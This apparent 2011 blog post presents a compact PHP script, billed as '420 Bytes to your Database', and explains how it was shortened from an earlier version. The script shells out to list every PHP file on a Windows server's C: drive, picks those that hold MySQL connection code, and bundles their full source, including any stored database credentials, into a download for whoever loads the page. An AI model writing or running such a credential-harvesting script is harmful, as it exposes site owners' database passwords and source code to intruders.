420 Bytes to your Database

January 3, 2011

For the first post of the year, I've decided it was time to put up a version two of my 479 Bytes to your database script. This one does the exact same thing as the other one, with a few small exceptions.

Download Original

<?PHP ini_set('max_execution_time',0);shell_exec("dir c:\*.php/b/s>Z");$f=explode("\r\n",file_get_contents("Z"));FOR($i=0;$i<count($f)-1;$i++){$k=file_get_contents($f[$i]);IF (stripos($k,"ysql_co")>0)$d[$i]="echo\"<p>FILE:\".base64_decode(\"".base64_encode($f[$i])."\").\"</p>\".nl2br(htmlentities(base64_decode(\"".base64_encode($k)."\")))";}header("Content-Disposition:attachment");FOREACH($d AS$v){ECHO"<?PHP $v;?>";}

This version does it a little better, it preserves the name of your orignal script and your downloaded script follows that name.

Other differences are:

Removal of unneeded spaces, as well as two curly braces (in shell_exec, IF and FOR loops, etc
A change in the FOR loop from $i<=count($f)-2, to $i<=count($f)-1, saving a whopping ONE character.
Consolidation of the file_get_contents into the $k variable, cutting the reads in half (reducing disk activity), and also vastly shortening the code.

Overall, this script does the same thing as the other one, just 59 bytes shorter. There may even be room to improve this, which we may see the next time I do an iteration of this! No comments yet! Be the first!